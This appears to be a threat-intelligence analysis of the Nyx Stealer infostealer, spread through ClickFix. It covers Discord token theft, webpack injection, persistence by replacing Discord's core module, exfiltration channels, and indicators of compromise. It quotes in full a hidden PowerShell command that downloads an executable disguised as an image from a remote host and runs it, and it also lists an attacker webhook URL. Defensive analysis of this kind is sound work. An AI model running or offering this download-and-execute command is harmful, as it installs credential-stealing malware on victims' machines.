Overview #
The Nyx Stealer employs a sophisticated Discord injection technique to harvest authentication tokens and other sensitive information in real time. Upon execution, it first targets Discord tokens stored in LevelDB databases and leverages the Windows Data Protection API (DPAPI) to decrypt tokens saved by Chromium-based browsers like Chrome and Edge. It is compatible with both legacy and modern Discord token formats (v10 and newer), ensuring broad effectiveness across different user environments.
The core of Nyx Stealer’s functionality lies in its ability to inject malicious JavaScript directly into the Discord desktop application. By hooking into Discord’s internal webpack module system, the malware gains deep access to the client’s runtime environment. This allows it to monitor and intercept user activity, including real-time login attempts, changes to email or password settings, and entry of financial information—such as credit card details or PayPal credentials. Critically, it also captures two-factor authentication (2FA) backup codes when they appear in the user interface, significantly compromising account security.
Stolen data is exfiltrated primarily through Discord webhooks, enabling the attacker to receive information instantly and discreetly. For larger data sets—such as session databases or browser profiles—the malware uploads files to third-party file-hosting services like GoFile.io or Catbox.moe. It also includes optional Telegram bot integration, offering an alternative exfiltration route that can bypass webhook detection mechanisms.
To maintain long-term access, Nyx Stealer establishes persistence by creating a hidden directory at %LOCALAPPDATA%\nyx-local and modifying Discord’s core application files. These modifications ensure that the malicious injection is re-executed every time the Discord client starts, effectively reinfecting the application without requiring the original payload to run again. This combination of stealth, real-time data harvesting, and resilient persistence makes Nyx Stealer a particularly dangerous threat to Discord users.
Spreading Malware Through ClickFix #
The method known as Clickfix deceives users into unknowingly running malware by exploiting the mental exhaustion that can result from repeatedly seeing error messages. In a common Clickfix attack, the adversary displays a fake but convincing system error prompt, directing the user to carry out specific steps—like opening the Run dialog and entering a command. Unbeknownst to the user, this command is designed to fetch and execute malicious software on their device.
Although technically straightforward, Clickfix can have serious consequences. Since the victim personally triggers the malware execution, the attack often sidesteps traditional security defenses. Compounding the issue, many endpoint protection tools do not monitor clipboard activity, which makes real-time detection and prevention of such attacks particularly challenging.
Clickfix Payload #
powershell -w h -ep bypass -c "$f=\"$env:USERPROFILE\\Pictures\\<REDACTED>.exe\";Start-BitsTransfer -Source 'https://www[.]gao.or.kr/vendor/jquery/img.png' -Destination $f;Start-Process $f -WindowStyle Hidden"
The payload can be found either in clipboard or the html of the page. The powershell above downloads a PNG file from the url https://www[.]gao.or.kr/vendor/jquery/img.png which disguise as an windows executable file.
Analysing NyxStealer #
The file downloaded from the url is a NSIS Installer. NSIS (Nullsoft Scriptable Install System) is normally used to create installers for certain programs. It can be also used for creating malware strains as it is script-based and thus makes nearly identical forms for NSIS installers.
NSIS installer-type malware strains have been used a lot by attackers. The type introduced in this post includes multiple malicious files in a single installer: running one file will infect the system with various malware strains.
From the folder, ganteng.exe.exe is the main electron malware.
When looking at the executable resources, there is app.asar, a file that packages the application’s source code and assets into a single archive using the ASAR (Atom Shell Archive Format).
After unpack/unarchive the ASAR file, contains the actual payload a javascript file
Both index.js and injection.js are heavily obfuscated.
index.js employs 5 layers of obfuscation:
| Layer | Technique | Description |
|---|---|---|
| 1 | String Array Rotation | 31,562 encoded strings stored in array c(), accessed via decoder function d(index) |
| 2 | Hex Fragment Encoding | 94,208 patterns like /x4e79y/ → each represents hex bytes, joined to form larger blobs |
| 3 | AES-256-CBC Encryption | PBKDF2 key derivation (10,000 iterations, SHA-512), encrypts the payload |
| 4 | Reversed Base64 | Output is base64 encoded, then string-reversed as additional obfuscation |
| 5 | VM Execution | Final code executed via vm.runInNewContext() to isolate from static analysis |
After finish decoding the payload, we can see that index.js steals browser data, cookies, passwords and cryptocurrency wallet data from 50+ browsers, which confirms this is a infostealer-type malware.
Interestingly, injection.js being use to replace a legit Discord module to create persistence and data exfiltration.
Discord Injection #
After killing the Discord’s procesess, it will find the installation path, locate the core module and then overwrite the module with the malicious one.
%LOCALAPPDATA%\
├── Discord\
│ └── app-1.0.9034\
│ └── modules\
│ └── discord_desktop_core-1\
│ └── discord_desktop_core\
│ └── index.js ← THIS FILE IS REPLACED
├── DiscordCanary\
│ └── ...
└── DiscordPTB\
└── ...
The injection uses Electron’s session API to monitor Discord’s API calls
Monitored Endpoints
| Endpoint | Purpose |
|---|---|
discord.com/api/v*/users/@me |
User profile requests |
discord.com/api/v*/auth/login |
Login attempts |
api.stripe.com/v*/tokens |
Payment information |
When a user logs in or Discord fetches user info, the malware executes this payload to extract token via Webpack Injection
The process begins by accessing Discord’s webpack bundle (webpackChunkdiscord_app). It then pushes a fake module into the bundle that enumerates all currently loaded modules. Among these modules, it specifically searches for the token store module—the one containing the getToken method. Once identified, it extracts the raw authentication token directly from memory. Importantly, this method bypasses any encryption Discord applies to tokens stored on disk, accessing the token in its unencrypted form while the application is running.
Once the token is obtained, the malware:
- Calls Discord API to fetch full user information
- Sends everything to the attacker’s webhook
The malware supports two exfiltration channels:
- Discord Webhooks - Primary method
- Telegram Bot API - Alternative method (converts embeds to HTML)
The injection persists because:
This line ensures:
- Discord functions normally (victim doesn’t notice anything wrong)
- Malicious code runs every time Discord starts
- Survives Discord restarts
- Only removed when Discord core module is updated/reinstalled
Indicators of Compromise (IOCs) #
Sha256
| Value | Type |
|---|---|
| 1209f141bae435f4a8ec0cc0d79360ae55ea01b6ba736fcd8af6ab35823ae6d2 | img.png from C2 |
| 148aa39667eb2359601cceabdd4cee6c4c85b2f1bf28d0bd4ce92e4174eade9f | ganteng.exe.exe |
| 210410e040be4b4087d73482ef0dd7cb55d85a3ebaa050356a5e222c0b1acc6a | app.asar |
| e56cbb59d2c31fc16f40bc7fc6245c08e7ca974b06bc1b07407025023c9ae180 | index.js |
| f60cf70673d37cab329fd1c11f58f3fb6115dce1019a62ee598feba81af1bf77 | injection.js |
URL
| Value | Type |
|---|---|
| https://www[.]gao.or.kr/vendor/jquery/img.png | Malware Hosting |
| https://discord[.]com/api/webhooks/1455140450347516031/zl06MB1YHZLRA0FiVZwS4RZPFK14dawdzBvQJQ_TE8pDYuL7VLQXf3oRtO2P1gfNIMEn | Discord webhook |
Domain
| Value | Type |
|---|---|
| www[.]gao.or.kr | Attacker’s domain |